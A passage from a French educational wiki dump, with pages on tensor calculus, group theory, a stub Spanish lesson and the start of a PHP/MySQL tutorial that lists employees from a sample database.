strrchr(char* s1, int n)==== ====inline char* strstr(char* s1, const char* s2)==== Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Tenseur métrique 7430 36360 2006-03-06T22:27:09Z Fapae 1199 /* Base naturelle et base orthonormée */ En [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques|coordonnées sphériques]] <math>\left(r, \theta, \phi\right)</math>, où <math>\phi</math> est l'[[Azimut|angle azimutal]] et <math>\theta \in \left[0, \pi\right]</math> est la [[colatitude]], le carré d'un élément de longueur vaut <math>dl^2 = dr^2 + r^2 \; d\theta^2 + r^2 \sin^2 \theta d\phi^2</math> et donc le [[Calcul tensoriel/Notions élémentaires/Tenseur métrique|tenseur métrique]] vaut <math>g_{ij} = \left(\begin{matrix} 1 & 0 & 0\\ 0 & r^2 & 0\\ 0 & 0 & r^2 \sin^2\theta \end{matrix}\right)</math> La racine carrée du déterminant du tenseur métrique vaut <math>\sqrt{\det{g}} = r^2 \sin\theta</math>. L'[[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Matrice inverse|inverse du tenseur métrique]] vaut <math>g^{ij} = \left(\begin{matrix} 1 & 0 & 0\\ 0 & r^{-2} & 0\\ 0 & 0 & r^{-2}\sin^{-2}\theta & \end{matrix}\right)</math> * Base naturelle et base orthonormée Puisque le tenseur métrique en coordonnées cylindriques est diagonal, la [[Calcul tensoriel/Notions élémentaires/Base naturelle|base naturelle]] <math>\left(\mathbf{e}_r, \mathbf{e}_{\theta}, \mathbf{e}_{\phi}\right)</math> est orthogonale et la [[Calcul tensoriel/Notions élémentaires/Base orthonormée|base orthonormée]] s'écrit <math>\left(\mathbf{e}_r, \frac{\mathbf{e}_{\theta}}{r}, \frac{\mathbf{e}_{\phi}}{r \sin\theta}\right)</math>. Calcul tensoriel/Notions élémentaires/Transformation contraco 7431 43406 2006-05-29T11:32:55Z Fapae 1199 Utilisation du : On transforme les [[Calcul tensoriel/Notions élémentaires#Tenseurs|composantes contravariantes]] d'un tenseur en [[Calcul tensoriel/Notions élémentaires#Tenseurs|composantes covariantes]] au moyen du [[Calcul tensoriel/Notions élémentaires#Tenseur métrique|tenseur métrique]] : : <math>x_i = \sum_j g_{ij} x^j</math> [[Calcul tensoriel/Notions élémentaires/Tenseur métrique#Matrice inverse|Étant donné que]] <math>g^{ij}</math> est la matrice inverse de <math>g_{ij}</math>, on a : <math>x^i = \sum_j g^{ij} x_j</math> * Remarques *# Avec la '''convention d'Einstein''', on sous-entend le symbole <math>\sum</math> dès qu'un indice figure à la fois en haut et en bas. On écrit ainsi <math>x_i = g_{ij} x^j</math>, et <math>x^i = g^{ij} x_j</math>. *# Il y a une convention plus radicale utilisée par certains auteurs suivant laquelle on omet également le tenseur métrique dès lors qu'il intervient dans une contraction. Ainsi, à la place de <math>a^i b_i = g^{ij}a_i b_j</math>, on écrit <math>a_i b_i</math>. *# La transformation contraco peut être appliquée à plusieurs indices d'un tenseur d'ordre quelconque. Par exemple <math>a^{ij} = g^{ik} g^{jl} a_{kl}</math>. Calcul tensoriel/Espace-temps plan/Événement 7433 36349 2006-03-06T22:05:35Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Événement]] déplacé vers [[Calcul tensoriel/Espace-temps plan/Événement]] Mercredi 22 février 2006, à 13 h [[w:GMT|GMT]], le battant du carillon de [[w:Big-Ben|Big-Ben]] est entré en contact avec sa cloche en un point bien précis. Ce point de l'espace-temps est appelé '''événement'''. Dans un [[Calcul tensoriel/Coordonnées curvilignes/Système de coordonnées|système de coordonnées]], un événement de l'univers est décrit par 4 nombres. Par exemple, dans le système de coordonnées terrestre et l'heure GMT, on donnera la [[w:Latitude|latitude]], la [[w:Longitude|longitude]], l'[[w:Altitude|altitude]] et l'[[w:Instant|instant]]. On dit que l'espace-temps est quadridimensionnel. Calcul tensoriel/Notions élémentaires/Tenseur de courbure 7434 36312 2006-03-06T20:22:42Z Fapae 1199 La dérivée covariante seconde d'un champ scalaire ''f'' est un tenseur d'ordre 2 <math>f_{;i;j} = f_{,i,j} - \Gamma^k_{ij} f_{;k}</math> Elle est symétrique parce que le [[Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel|symbole de Christoffel]] <math>\Gamma^k_{ij}</math> est invariant par échange des indices bas ([[Calcul tensoriel/Coordonnées curvilignes/Espace sans torsion|espace sans torsion]]). En revanche pour un champ de vecteurs <math>a_j</math>, les dérivations covariantes ne commutent pas. Le tenseur de courbure de [[w:Riemann|Riemann]] <math>R_i{}^j{}_{kl}</math> permet de calculer leur différence <math>a_{i;k;l} - a_{i;l;k} = R_i{}^j{}_{kl} a_j</math> Calcul tensoriel/Notions élémentaires/Tenseur de Ricci 7435 37757 2006-03-15T18:10:07Z Fapae 1199 Le tenseur de Ricci est obtenu en contractant le [[Calcul tensoriel/Coordonnées curvilignes/Tenseur de courbure|tenseur de courbure]] entre un indice de la première paire et un indice de la seconde paire : <math>R_{ik} = R_i{}^m{}_{km} = g^{jl} R_{ijkl}</math> Grâce à la symétrie par paires du tenseur de courbure, le tenseur de Ricci est symétrique. Le tenseur de Ricci complètement contracté est un scalaire : <math>R = g^{ij} R_{ij}</math> La [[Calcul tensoriel/Coordonnées curvilignes/Divergence|divergence]] du tenseur d'Einstein <math>R^{ij} - \frac{1}{2} g^{ij} R</math> est nulle : <math>\left[R^{ij} - \frac{1}{2} g^{ij} R\right]_{;j} = 0</math> Cette équation fondamentale se démontre en mettant en jeu la [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Nullité de la dérivée covariante|nullité de la dérivée covariante du tenseur métrique]]. C'est en identifiant le tenseur d'Einstein et le tenseur d'énergie-impulsion que l'on obtient l'équation d'Einstein qui fonde la [[Calcul tensoriel/Espace-temps courbe|relativité générale]]. Calcul tensoriel/Poubelle/Base naturelle 7436 36338 2006-03-06T21:19:55Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Base naturelle]] déplacé vers [[Calcul tensoriel/Poubelle/Base naturelle]] La base naturelle <math>\mathbf{e}_i</math> associée à un [[Calcul tensoriel/Coordonnées curvilignes/Système de coordonnées|système de coordonnées]] <math>x^i</math> permet d'écrire un élément de longueur infinitésimal sous la forme <math>dl = \sum_i dx^i \mathbf{e}_i</math> On a donc <math>\mathbf{e}_i = \frac{\partial l}{\partial x^i}</math> == Remarques == * La lettre ''l'' étant muette, on voit parfois écrit <math>\mathbf{e}_i = \frac{\partial}{\partial x^i}</math>, avec le risque de confusion avec l'opérateur dérivation. * Sauf dans le cas d'un [[w:Repère cartésien|repère cartésien]], la base naturelle varie d'un point à un autre. Chaque vecteur <math>\mathbf{e}_1</math>, <math>\mathbf{e}_2</math>, etc. est en fait un [[w:Champ de vecteurs|champ de vecteurs]]. Calcul tensoriel/Notions élémentaires/Tenseur dualiseur 7437 43413 2006-05-29T11:38:55Z Fapae 1199 Utilisation du : ==== Introduction ==== Étant donné un espace de dimension ''N'', le [[Calcul tensoriel/Appendices/Symbole de Levi-Civita d'ordre N|symbole de Levi-Civita d'ordre N]] <math>\epsilon^{i_1 i_2 \ldots i_N}</math>, aussi appelé pseudo-tenseur unité complètement antisymétrique n'est pas un tenseur. Par exemple, ses composantes devraient être multipliées par <math>2^N</math> lorsque le système de coordonnées est réduit d'un facteur 2. ==== Définition du tenseur dualiseur ==== ===== Tenseur dualiseur en coordonnées contravariantes ===== La formule : <math>*^{i_1 i_2 \ldots i_N} = \frac{1}{\sqrt{\det g}}\epsilon^{i_1 i_2 \ldots i_N}</math> où <math>\det g</math> est le [[w:Déterminant|déterminant]] du [[Calcul tensoriel/Notions élémentaires/Tenseur métrique|tenseur métrique]], définit bien un tenseur à partir du [[Calcul tensoriel/Appendices/Symbole de Levi-Civita d'ordre N|symbole de Levi-Civita d'ordre N]]. Ce tenseur, aussi appelé tenseur de Levi-Civita et noté <math>\tilde{\epsilon}</math> est ici appelé tenseur dualiseur. Il est intéressant de noter que pour qu'un scalaire soit un tenseur (d'ordre 0), il faut qu'il soit indépendant du choix du système de coordonnées. Le déterminant du tenseur métrique n'est donc pas un tenseur mais son produit avec le symbole <math>\epsilon</math> est bien un tenseur, indépendant du système de coordonnées. ===== Tenseur dualiseur en coordonnées covariantes ===== On passe aux coordonnées covariantes en mettant en jeu ''N'' fois le tenseur métrique. Le produit de ces ''N'' termes avec le [[Calcul tensoriel/Appendices/Symbole de Levi-Civita d'ordre N|symbole de Levi-Civita d'ordre N]] est égal au déterminant du tenseur métrique et l'on obtient : <math> *_{i_1 i_2 \ldots i_N} = g_{i_1 j_1} g_{i_2 j_2} \ldots g_{i_N j_N} \frac{1}{\sqrt{\det g}}\epsilon^{i_1 i_2 \ldots i_N} = \sqrt{\det g} \epsilon_{i_1 i_2 \ldots i_N}</math> ===== Détermination du signe ===== Le tenseur dualiseur garde néanmoins un caractère particulier. C'est le choix de la détermination de la racine carrée qui définit l'orientation du système de coordonnées. Retourner une coordonnée doit s'accompagner du changement de signe des composantes du tenseur. Dans le cas de l'[[Calcul tensoriel/Espace-temps plan/Espace-temps quadridimensionnel|espace-temps quadridimensionnel]], le déterminant du [[Calcul tensoriel/Notions élémentaires/Tenseur métrique|tenseur métrique]] est négatif. Deux possibilités s'offrent alors, considérer que le tenseur dualiseur est imaginaire pur, ou remplacer ''g'' par ''-g''. Cette seconde possibilité facilite les calculs mais n'est pas satisfaisante d'un point de vue théorique [connecter avec la mesure de la distance spatiale ou temporelle comme racine carrée de l'intervalle d'espace-temps, dont le signe donne la nature, temps ou espace] ==== Propriétés du tenseur dualiseur ==== ===== Produit de tenseurs dualiseurs ===== La formule suivante découle directement de la formule obtenue avec le [[Calcul tensoriel/Appendices/Symbole de Levi-Civita d'ordre N|symbole de Levi-Civita d'ordre N]]. Le symbole <math>\delta^i_j</math> est le [[w:Symbole de Kronecker|symbole de Kronecker]], représentant la matrice unité. : <math> *^{i_1 i_2 \ldots i_P k_1 \ldots k_Q} *_{j_1 j_2 \ldots j_P k_1 \ldots k_Q} = Q! \times \left| \begin{matrix} \delta^{i_1}_{j_1} & \delta^{i_1}_{j_2} & \ldots & \delta^{i_1}_{j_P} \\ \delta^{i_2}_{j_1} & \delta^{i_2}_{j_2} & \ldots & \delta^{i_2}_{j_P} \\ \ldots & \ldots & \ldots & \ldots \\ \delta^{i_P}_{j_1} & \delta^{i_P}_{j_2} & \ldots & \delta^{i_P}_{j_P} \end{matrix}\right| </math> ====== résultat d'ordre 2 ====== : <math>*^{k \; i_2\ldots i_N}*_{l \; i_2 \ldots i_N} = \left(N-1\right) ! \times \delta^k_l</math> ====== résultat d'ordre 4 ====== : <math>*^{k m \; i_3\ldots i_N}*_{l n \; i_3 \ldots i_N} = \left(N-2\right) ! \times \left(\delta^k_l \delta^m_n - \delta^k_n \delta^m_l\right)</math> ==== Définition de tenseurs duaux au sens de Hodge ==== Le produit du tenseur dualiseur avec un tenseur d'ordre ''M'' dans un espace de dimension ''N'' définit un tenseur d'ordre ''N-M'', son dual au sens de Hodge. <math>\left[* a\right]^{i_1 i_2 \ldots i_{N-M}} = \frac{1}{M !} *^{i_1 i_2 \ldots i_N} a_{i_{N-M+1} \ldots i_N}</math> Le produit met ici arbitrairement en jeu les ''M'' derniers indices du tenseur dualiseur. On aurait aussi bien pu prendre les ''M'' premiers indices. Les deux conventions diffèrents d'un signe - dans certains cas. ===== Tenseurs duaux en dimension 3 ===== Un vecteur <math>b^k</math> possède un tenseur antisymétrique dual <math>\left[* b\right]_{ij} = *_{ijk} b^k</math>. Réciproquement, le dual d'un tenseur antisymétrique <math>a^{ij}</math> est un vecteur <math>\left[*a\right]^i = \frac{1}{2} \times *^{ijk} a_{jk}.</math> Le dual du dual est le vecteur ou le tenseur antisymétrique lui-même. En effet, on a pour un vecteur <math>\left[**b\right]^i = \frac{1}{2} *^{ijk} \left[*b\right]_{jk} = \frac{1}{2} *^{ijk} *_{jkl} b^l = \delta^i_l b^l = b^i</math> et pour un tenseur antisymétrique <math>\left[**a\right]^{ij} = \frac{1}{2} *^{ijk} \left[*a\right]_{k} = \frac{1}{2} *^{ijk} *_{klm} a^{lm} = \frac{1}{2}\left(\delta^{ij}_{lm} - \delta^{ij}_{ml}\right) a^{lm} = a^{ij}</math> ===== Tenseur duaux en dimension 4 ===== Calcul tensoriel/Appendices/Symbole de Levi-Civita d'ordre N 7438 43411 2006-05-29T11:36:41Z Fapae 1199 Changement de niveaux ==== Définition ==== Le symbole de Levi-Civita d'ordre ''N'', <math>\epsilon_{i_1 i_2 \ldots i_N}</math>, aussi appelé pseudo-tenseur complètement antisymétrique d'ordre ''N'', est une généralisation du [[w:Symbole de Levi-Civita|symbole de Levi-Civita]] d'ordre 3. Chaque index peut prendre une valeur quelconque parmi ''N''. Ce symbole principalement vaut 0, sauf si la liste des index est formée de ''N'' valeurs distinctes. Dans ce cas, le symbole vaut 1 ou -1, le changement de signe correspondant à une [[w:Permutation impaire|permutation impaire]] de la liste des index. Supposons par exemple que la liste des index soit ''t, x, y, z'' pour définir un symbole d'ordre 4. Il y a apriori <math>4^4 = 256</math> valeurs possibles du symbole. Le symbole <math>\epsilon_{ttxz}</math> vaut 0 parce que l'index ''t'' figure deux fois. Si arbitrairement on choisit le signe + pour <math>\epsilon_{txyz}</math>, alors on aura <math>\epsilon_{txzy} = -1</math>, <math>\epsilon_{tyxz} = +1</math>, <math>\epsilon_{tyzx} = -1</math>, etc. 4!/2 = 12 valeurs valent +1, 12 valeurs valent -1. ==== Tenseur dualiseur ==== Le symbole de Levi-Civita d'ordre ''N'' n'est pas un tenseur. Ses composantes ne dépendent du système de coordonnées choisi, et par convention <math>\epsilon^{i_1 i_2 \ldots i_N} = \epsilon_{i_1 i_2 \ldots i_N}</math>. En revanche, un simple facteur de normalisation basé sur le déterminant du [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique|tenseur métrique]] permet de définir le [[Calcul tensoriel/Coordonnées curvilignes/Tenseur dualiseur|tenseur dualiseur]], ou tenseur de Levi-Civita. ==== Formules de contraction ==== <math></math> Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de la dérivée partielle 7440 36346 2006-03-06T21:54:34Z Fapae 1199 Le produit contracté du tenseur métrique et de sa dérivée partielle change de signe lorsqu'on remonte les indices d'un terme du produit et que l'on descend les indices de l'autre terme : <math>g^{ij} g_{ij,k} = - g_{ij} g^{ij,k}</math>. [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de la dérivée partielle/Démonstration|Démonstration]]. * Remarques *# Si <math>g_{ij,k}</math> était un tenseur, on aurait le signe +. *# On a bien un tenseur en calculant la [[Calcul tensoriel/Notions élémentaires/Dérivée covariante|dérivée covariante]] <math>g_{ij;k}</math> du tenseur métrique, mais [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Nullité de la dérivée covariante|ce tenseur est nul]]. Faculté de Mathématiques/Vocabulaire et notations indispensables 7441 40874 2006-04-24T20:48:25Z WikiC 1349 ==Vocabulaire de base== [[Catégorie:Faculté de Mathématiques de la Wikiversité]] Faculté de Mathématiques/Algèbre corporelle et théorie de Galois 7442 40873 2006-04-24T20:48:24Z WikiC 1349 =Théorie des groupes= ==Définitions et propriétés== ===Groupe=== Un groupe est la donnée d'un ensemble <math>G</math> et d'une fonction de <math>G\times G</math> dans <math>G</math> ( noté <math>\cdot</math> ) vérifiant : * il existe un élément <math>e</math> appelé élément neutre tel que <math>\forall a \in G,\ a\cdot e=e\cdot a=a</math> * tout élément est inversible : <math>\forall a \in G,\ \exists b\in G</math> tel que <math>a\cdot b=b\cdot a=e</math>. Cet élément est appelé ''inverse de <math>a</math>'' et sera noté <math>a^{-1}</math> * la loi <math>\cdot</math> est associative : <math>\forall a,b,c \in G,\ (a\cdot b)\cdot c = a\cdot (b\cdot c)</math> Si le cardinal de <math>G</math> est fini, on appelle ordre du groupe le nombre de ses éléments. Un groupe sera dit abelien ou commutatif, si <math>\cdot</math> vérifie : <math>\forall a,b \in G a\cdot b = b\cdot a</math>. Exemples: * <math>\mathbb{Z}</math> est un groupe abelien pour l'addition, mais pas pour la multiplication. <math>\mathbb{N}</math> n'est pas un groupe pour l'addition. * l'ensemble des rotations qui laissent un carré globalement invariant est un groupe d'ordre 4. * l'ensemble des permutations de l'ensemble <math>\{1 \dots n\}</math> est un groupe. ===Sous groupe=== Un sous groupe <math>A</math> d'un groupe <math>G</math> est un ensemble qui verifie : * <math>A \subset G</math> * <math>A</math> est un groupe au sens de la loi de <math>G</math> 2 sous groupes <math>H</math> et <math>H'</math> sont dit conjugués s'il existe <math>x</math> tel que <math>H'=\{x^{-1}ax,a\in H\} </math>, ce qu'on note aussi <math>H'=x^{-1}Hx</math>. ===Ordre d'un élément=== Soit <math>a</math> un element d'un groupe <math>G</math> et <math>n</math> un enier naturel. On appelle "<math>a</math> puissance <math>n</math> et on note <math>a^n</math> l'élément de <math>G</math> défini par : * <math>a^0=e</math> * si <math>n>0</math>, <math>a^n=a\cdot a \cdot a \dots</math> (<math>a</math> multiplié <math>n</math> fois par lui meme. Si il existe un entier '''non nul''' tel que <math>a^k=e</math>, <math>a</math> est dit d'ordre fini. Il est dit d'ordre infini dans le cas contraire. Si <math>a</math> est d'ordre fini, on appelle ordre de <math>a</math> le plus petit entier strictement positif <math>k</math> tel que <math>a^k=e</math> ===Sous groupe engendré=== Soit <math>G</math> et <math>A</math> une partie de <math>G</math>. On appelle sous groupe engendré par <math>A</math> le plus petit sous groupe <math>H</math> de <math>G</math> contenant <math>A</math>. On dit aussi que <math>A</math> est un générateur de <math>H</math>. On peut voir <math>H</math> comme l'ensemble des produits finis des éléments de <math>A</math> et de leurs inverses. Un groupe engendré par un seul élément est dit monogène. Un groupe monogène fini est dit cyclique. On remarque que si <math>G</math> est un groupe cyclique d'ordre n, alors tout élément de <math>G</math> peut s'ecrire sous la forme <math>a^k, k \in \{0\dots n-1\}</math> où <math>a</math> est un générateur de <math>G</math>. On remarque ainsi que tout générateur de <math>G</math> est d'ordre <math>n</math>. ===Théorème de Lagrange=== Le théorème de Lagrange est un Théorème fondamental de la théorie des groupes : Soit <math>G</math> un groupe fini, et <math>H</math> un sous groupe de <math>G</math>. L'ordre de <math>H</math> divise l'ordre de <math>G</math>. Corollaire 1 : Soit <math>a</math> un élément de <math>G</math>, l'ordre de <math>a</math> divise l'ordre de <math>G</math>. Preuve : Soit <math>A</math> le groupe engendré par <math>a</math>. On sait que l'ordre de <math>a</math> est égal à l'ordre de <math>A</math>, et que l'ordre de <math>A</math> divise l'ordre de <math>G</math>. Donc l'ordre de <math>a</math> divise l'ordre de <math>G</math>. Corollaire 2 : Un groupe d'ordre premier est cyclique. Preuve : Soit <math>G</math> un groupe d'ordre p, p premier. On sait que le seul élément d'ordre 1 est l'élément neutre <math>e</math>. Donc tout élément de <math>G</math> distinct de <math>e</math> est égal à p ( puisque les suls diviseurs de p sont 1 et p ). Donc tout élément distinct de <math>e</math> engendre <math>G</math>, donc <math>G</math> est cyclique. ===Sous groupe normal, groupe quotient=== ====Définition==== Soit <math>G</math> un groupe et <math>H</math> un sous groupe de <math>G</math>. On dira que <math>H</math> est un sous groupe normal ou distingué, si et seulement si : <math>\forall a \in G, a^{-1}Ha=H</math> En reprenant la définition de sous groupe conjugués vue plus haut, on dira aussi qu'un sous groupe normal est stable par conjuguaison. Soit <math>H</math> un sous groupe de <math>G</math>, et <math>g \in G</math>, la classe a gauche est définie par <math>gH=\{g\cdot x,\ x\in H\}</math>. De même, nous définissons la classe à droite <math>Hg=\{x\cdot g,\ x\in H\}</math>. On vérifie facilement que <math>H</math> est normal si et seulement si <math>\forall g \in G, gH=Hg</math>. C'est cette dernière propriété qui fait que les groupes distingués sont si important : en effet, cel va nous permettre de munir l'ensemble des classes à gauche ( ou à droite, puisque dans ce cas précis elles sont égales ) de <math>H</math> d'une structure de groupe analogue a celle de <math>G</math>, avec la loi : <math>\forall g_1, g_2 \in G, (g_1H) \cdot (g_2H)= (g_1 \cdot g_2 )H</math> Le groupe ainsi formé s'appelle le groupe quotient de <math>G</math> par <math>H</math> et sera noté <math>G/H</math>. On remarque que les classes a gauche sont exactement les classes d'équivalences pour la relation définie par : <math>g_1</math> ~ <math>g_2</math> ssi <math>g_1^{-1}\cdot g_2 \in H</math>. ====Exemple==== Soit <math>3 \mathbb{Z}</math> l'ensemble des multiples de 3 muni de l'addition. <math>3 \mathbb{Z}</math> est un sous groupe distingué dans <math>\mathbb{Z}</math>, et le groupe quotient <math>\mathbb{Z}/3 \mathbb{Z}</math> est égale à <math>\{\bar{0},\bar{1},\bar{2}\}</math> muni de l'addition modulo 3. En fait, d'une manière générale, <math>\mathbb{Z}/n \mathbb{Z}</math> est un groupe pour l'addition modulo n ( n> 0 ), d'ordre n et cyclique engendré par 1. Ce sont des groupes très utiles comme nous le verrons plus loin. ===Homomorphismes=== ====Définition==== Soit <math>(G,\cdot)</math> et <math>(H,\star)</math> 2 groupes. Un homomorphisme de <math>G</math> vers <math>H</math> est une application de <math>G</math> dans <math>H</math> vérifiant : <math>\forall a,b \in G,\ f(a\cdot b)=f(a)\star f(b)</math> Intuitivement, c'est donc une application qui "respecte" la structure de groupe. Soient : <math>G,G'</math> deux groupes, <math>H</math> un sous groupe de <math>G</math>, f un homomorphisme. f sera dit : * injectif si <math>\forall x,y \in G, f(x)=f(y) \Rightarrow x=y</math> * surjectif si <math>\forall y \in G',\exists x \in G\ | f(x)=y</math> * biectif s'il est injectif et surjectif. Un homomorphisme bijectif s'appelle aussi un isomorphisme. Un isomorphisme de <math>G</math> dans lui même s'appelle un automorphisme. S'il existe un isomorphisme entre <math>G</math> et <math>G'</math>, ces 2 groupes seront dit isomorphes. Cette notion est très importante : on vérifie facilement que le fait d'être isomoprhe est une relation d'équivalence. En fait, 2 groupes isomorphes ont même cardinal, les ordres de leurs éléments sont les mêmes, et les propriétés qui vont suivre nous permettront de vérifier que leurs sous groupes, leurs sous groupes ditingués, bref toute leurs propriétés interréssante du point de vue de la théorie des groupes sont les mêmes. C'est pourquoi, en toute circonstance, on pourra considérer que ces groupes sont identiques, et on étudiera indifféremment l'un ou l'autre suivant ce qui est le plus facile. Cela permet également de déomntrer des résultats pour tout une famille de groupes, indépendamment de leur contenu, uniquement à partir de quelques propriétés "abstraites". ====Propriétés et remarques==== * L'application de <math>G</math> dans <math>G/H</math>, qui à x associe <math>xH</math> est un homomorphisme dit "canonique". * <math>f(G)</math> est un sous groupe de <math>G'</math> * <math>f(H)</math> est un sous groupe de <math>G'</math> * Si <math>H</math> est distingué, <math>f(H)</math> est distingué dans <math>f(G)</math> * le noyau de f, défini par <math>Ker\ f=\{x \in G, f(x)=e'\}</math>, est un sous groupe distingué de <math>G</math>. Cette propriété est intérressante pou construire un isomorphisme : en effet, si f est un homomorphisme de <math>G</math> vers <math>G'</math>, la restriction de f de <math>G/(Ker\ f)</math> vers <math>f(G)</math> est un ismorphisme. ====Exemple==== Voici un lemme interressant qui montre la puissance de l'étude des groupes "à isomorphisme près" : Lemme : Soit <math>G</math> un groupe cyclique d'ordre n. Alors <math>G</math> est isomorphe à <math>\mathbb{Z}/n\mathbb{Z}</math>. Preuve : Comme <math>G</math> est cyclique, par définition il existe <math>a \in G</math> tel que <math>\forall x \in G, \exists k \in \{0,..,n-1\}\ |\ x=a^k</math>. Soit <math>f</math> définie par <math>\forall a^k \in G, f(a^k)=\bar{k}</math>. on vérfie facilement que c'est un homomorphisme : * <math>f(e)=f(a^0)=\bar{0}</math> * <math>f(a^k \cdot a^{k'})=f(a^{k+k'})=\bar{k}+\bar{k'}=f(a^k)+f(a^{k'})</math> Puis : <math>f(a^k)=\bar{0} \Leftrightarrow k=0 \Leftrightarrow a^k=e \Leftrightarrow Ker\ f=\{e\}</math> donc f est injective. Or, <math>G</math> et <math>\mathbb{Z}/n\mathbb{Z}</math> ont même cardinal, donc f est aussi surjective. Donc f est un isomoprhisme. Corollaire 1 : 2 groupes cycliques sont isomorphes entre eux. Corollaire 2 : Soit p un nombre premier. Il n'existe qu'un seul groupe d'ordre p à isomoprhisme près. ==Théorèmes de Sylow== ===P-groupe=== [[Catégorie:Faculté de Mathématiques de la Wikiversité]] Cours d'espagnol : Leçon 3 7444 35619 2006-03-03T03:05:22Z 66.82.9.67 Me llamo peraldi soy estuddiante de espagnol es para que este corea me interesa Image:Formulaire-1.jpg 7445 35631 2006-03-03T10:30:53Z Merrheim 1032 Image:Formulaire-2.jpg 7446 35632 2006-03-03T10:31:08Z Merrheim 1032 Image:Formulaire-3.jpg 7447 35633 2006-03-03T10:31:22Z Merrheim 1032 Programmation PHP/Exemples/BD 1 7448 43294 2006-05-26T23:21:08Z 196.217.155.184 /* Les pages du site (version 1) */ {{Programmation PHP}} ==Afficher le résultat d'une requête== ===Présentation=== Dans cet exemple, on va créer une application qui extrait des données à partir d'une base de données et qui affiche le résultat à l'écran. Notre programme va afficher une liste d'employés d'une entreprise imaginaire : chaque employé est défini par un nom, un prénom et un salaire. La base de données utilisée sera une base '''mysql'''. Les données seront dans une table nommée ''employe''. La table employé possède des champs NOM, PRENOM et SALAIRE. La table employé possède de plus un identifiant nommé ID qui est un entier (BIGINT) autoincrémenté et qui est une clé primaire de la table. Nous étudierons une première version du programme et dans un second temps nous améliorerons le programme en utilisant la méthode GET lors d'une deuxième version. ===Descriptif du site=== *La première page affiche 3 liens hypertextes : ** un lien pour afficher la liste complète des employés, ** un lien pour afficher la liste dans l'ordre alphabétique, ** un lien pour afficher par salaire décroissant. * Sur chacune des pages, on affiche la liste et il y a un lien pour revenir à la première page. ===Création de la base=== Les requêtes suivantes permettent la création et l'initialisation des données dans notre table : '''Fichier BD.sql : ''' <pre> CREATE TABLE `employe` ( `ID` BIGINT NOT NULL AUTO_INCREMENT , `NOM` VARCHAR( 20 ) , `PRENOM` VARCHAR( 20 ) , `SALAIRE` DOUBLE DEFAULT '0', PRIMARY KEY ( `ID` ) ); INSERT INTO `employe` ( `ID` , `NOM` , `PRENOM` , `SALAIRE` ) VALUES ( '', 'Dupond', 'Marcel', '8000' ); INSERT INTO `employe` ( `ID` , `NOM` , `PRENOM` , `SALAIRE` ) VALUES ( '', 'Martin', 'Xavier', '4000' ); INSERT INTO `employe` ( `ID` , `NOM` , `PRENOM` , `SALAIRE` ) VALUES ( '', 'Gogol', 'Henri', '3000' ); INSERT INTO `employe` ( `ID` , `NOM` , `PRENOM` , `SALAIRE` ) VALUES ( '', 'Hugo', 'Victor', '2000' ); INSERT INTO `employe` ( `ID` , `NOM` , `PRENOM` , `SALAIRE` ) VALUES ( '', 'Gali', 'Daniel', '6000' ); INSERT INTO `employe` ( `ID` , `NOM` , `PRENOM` , `SALAIRE` ) VALUES ( '', 'Martin', 'Georges', '9000' ); </pre> La table crée par ces requêtes est la suivante : <table border="1"> <tr> <td width="25%" ><b>ID</b></td><td width="25%"><b>NOM</b></td><td width="25%"><b>PRENOM</b></td><td width="25%"><b>SALAIRE</b></td></tr> <tr><td>1</td><td>Dupond</td><td>Marcel</td><td>8000</td></tr> <tr><td>2</td><td>Martin</td><td>Xavier</td><td>4000</td></tr> <tr><td>3</td><td>Gogol</td><td>Henri</td><td>3000</td></tr> <tr><td>4</td><td>Hugo</td><td>Victor</td><td>2000</td></tr> <tr><td>5</td><td>Gali</td><td>Daniel</td><td>6000</td></tr> <tr><td>6</td><td>Martin</td><td>Georges</td><td>9000</td></tr> </table> ===Configuration de la base de données=== La table ''employe'' appartient à la base de données ''toto''. L'administrateur de cette base est root. Il n'a pas de mot de passe. Attention ceci est une configuration type utilisée par défaut pour la plateforme de développement easyphp : il est vivement recommandé de mettre un vrai mot de passe pour une plateforme en exploitation. ===Les requêtes utilisées=== *Pour afficher la liste des employés, on utilisera la requête : ''SELECT * FROM employe'' *Pour afficher la liste des employés par ordre alphabétique, on utilisera la requête : ''SELECT * FROM employe ORDER BY NOM, PRENOM'' *Pour afficher la liste des employés par salaire décroissant, on utilisera la requête : ''SELECT * FROM employe ORDER BY SALAIRE DESC'' ===Comment accéder en php à une base mysql=== Les différentes étapes à respecter seront les suivantes : # récupérer les informations suivantes : ## le nom de la machine qui héberge le serveur de la base de données (ici localhost) ## le nom de la base de données (ici toto) ## le nom de l'utilisateur de la base de données (ici root) ## le mot de passe de cet utilisateur (ici le mot de passe est vide). # se connecter au serveur de base de données # sélectionner la base de données (ici toto) sur ce serveur. # créer la requête dans une chaîne de caractères # envoyer la requête à la base de données et récupérer le résultat # fermer la connexion avec le serveur de base de données # transformer le résultat de la requête en HTML. ====Etape 1 : les paramètres spécifiques au site==== Pour réaliser le première étape nous allons créer un fichier '''params.php''' qui contient 4 variables $host (le nom de la machine qui héberge la base de données, $user (le nom de l'utilisateur de la base de données), $password (le mot de passe de cet utilisateur) et $base le nom de la base de données. Ces paramètres changent en fonction de la plateforme que vous utiliser. Il est intéressant d'isoler ces paramètres dans un fichier séparé, que ce soit au niveau de la sécurité ou pour porter l'application sur une autre plateforme. Il faut se renseigner au niveau de l'hébergeur sur les caractéristiques de la plateforme utilisée. Les paramètres suivants sont ceux par défaut si on utilise easyphp. On a juste créé une base de données appelée ''toto''. <pre> <?php $host='localhost'; $user='root'; $password=''; $base='toto'; ?> </pre> Pour récupérer, ces paramètres il suffit d'inclure ce fichier en utilisant le mot clé require. On écrira ''require'params.php' ''. Le fichier sera alors inclus dans le programme en php et le programmeur utilisera les 4 variables. ====Etape 2 : connexion à la base de données==== La fonction mysql_connect($host,$user,$password) permet de se connecter au serveur de base de données mysql situé sur la machine nommée ''$host'' en utilisant le nom d'utilisateur ''$user'' ayant comme mot de passe ''$password''. Cette fonction renvoie le booléen true si la connexion est établie et false sinon. ====Etape 3 : selectionner la base de données==== Un serveur de base de données peut héberger 